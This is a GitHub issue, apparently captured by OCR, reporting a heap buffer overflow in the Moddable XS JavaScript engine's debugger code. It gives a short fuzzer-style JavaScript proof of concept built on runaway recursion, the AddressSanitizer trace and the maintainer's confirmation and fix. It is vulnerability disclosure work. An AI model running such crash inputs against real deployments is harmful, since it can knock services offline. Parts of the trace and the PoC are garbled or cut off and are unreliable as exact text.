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Heap buffer overflow at moddable/xs/sources/xsDebug.c:783 #431



New issue

(⊘Closed) kvenux opened this issue on Aug 31, 2020 · 1 comment

confirmed fixed - please verify Labels

cd /path/to/moddable/xs/makefiles/lin

kvenux commented on Aug 31, 2020 Build environment: Ubuntu 16.04 gcc 5.4.0 xst version: de64c70 (git hash)

Target device:

test command: ./xst poc

build command:

Desktop Linux

POC

function f() { var a = [10]; [{}] = a.slice(function () { }, a.length); a = a.toString(a); var De65 = !9007199254740994; var C44J = +-Infinity; try { f(); } catch (e) { } f(); var iGax = f(); var YeKj = f(); var KetZ = f(); var wPbt = f(); var sz6k = +-2147483649; var Si7p = !1e+400;

Below is the ASAN outputs. Heap buffer overflow at /moddable/xs/sources/xsDebug.c:783

```
ouffer-overflow on address 0x7f1b03ad27f0 at pc 0x00000062bd1b bp 0x7ffe70f456c0 sp 0x7ffe70f456b
         #0 0x62bdla in fxDebugThrow /home/keven/Fuzzing/moddable/xs/sources/xsDebug.c:783
#1 0x44laf0 in fxThrowMessage /home/keven/Fuzzing/moddable/xs/sources/xsAPI.c:1257
#2 0xa526d8 in fxAbort /home/keven/Fuzzing/moddable/xs/tools/xst.c:1378
         #3 0x45a646 in fxOverflow/home/keven/Fuzzing/moddable/xs/sources/xsAPI.c:1211
#4 0x45a646 in fxBeginHost/home/keven/Fuzzing/moddable/xs/sources/xsAPI.c:1792
         #5 0x835b41 in fxRunDefine /home/keven/Fuzzing/moddable/xs/sources/xsRun.c:4071
#6 0x835b41 in fxRunID /home/keven/Fuzzing/moddable/xs/sources/xsRun.c:2208
         #7 0x869a49 in fxRunScript /home/keven/Fuzzing/moddable/xs/sources/xsRun.c:4584
#8 0x42ada0 in fxRunProgramFile /home/keven/Fuzzing/moddable/xs/tools/xst.c:1367
#9 0x42ada0 in main /home/keven/Fuzzing/moddable/xs/tools/xst.c:264
         #10 0x7f1b020e683f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2083f)
#11 0x42caf8 in _start (/home/keven/Fuzzing/moddable/build/bin/lin/debug/xst+0x42caf8)
      (7f1b03ad27f0 is located 16 bytes to the left of 131072-byte region [0x7f1b03ad2800.0x7f1b03af2800)
         #0 0x7f1b02a4e602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
#1 0x72c123 in fxAllocate /home/keven/Fuzzing/moddable/xs/sources/xsMemory.c:161
#2 0x100000000ffffff (<unknown module>)
    SUMMARY: AddressSanitizer: heap-buffer-overflow /home/keven/Fuzzing/moddable/xs/sources/xsDebug.c:783 fxDebugThrow
     shadow bytes around the buggy address:
      0x0fe3e07524a0: fa
      0x0fe3e07524c0:
      0x0fe3e07524d0:
      0x0fe3e07524e0:
     >0x0fe3e07524f0: fa fa fa fa fa fa
      adow byte legend (one shadow byte represents 8 application bytes):
      Addressable:
                                     99
      Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
      Heap right redzone:
      Freed heap region:
      Stack left redzone:
Stack mid redzone:
      Stack right redzone:
      Stack partial redzone:
      Stack after return:
     Stack use after scope:
Global redzone:
      Global init order:
      Poisoned by user:
Container overflow:
      Array cookie:
Intra object redzone:
                                        bb
     =121564==ABORTING
 phoddie added the confirmed label on Sep 1, 2020
  phoddie commented on Sep 1, 2020
                                                                                                                                                                                    Collaborator
   The top stack frame is only partially initialized because the stack overflowed while creating the frame. This leads to a crash in the code sending the stack frame to the debugger.
   ( 1)
 phoddie mentioned this issue on Sep 1, 2020
      Heap buffer overflow at moddable/xs/sources/xsDebug.c:784 #433
      phoddie added the fixed - please verify label on Sep 3, 2020
      wenux closed this as completed on Sep 4, 2020
No one assigned
 confirmed fixed - please verify
Projects
Milestone
```

No branches or pull requests



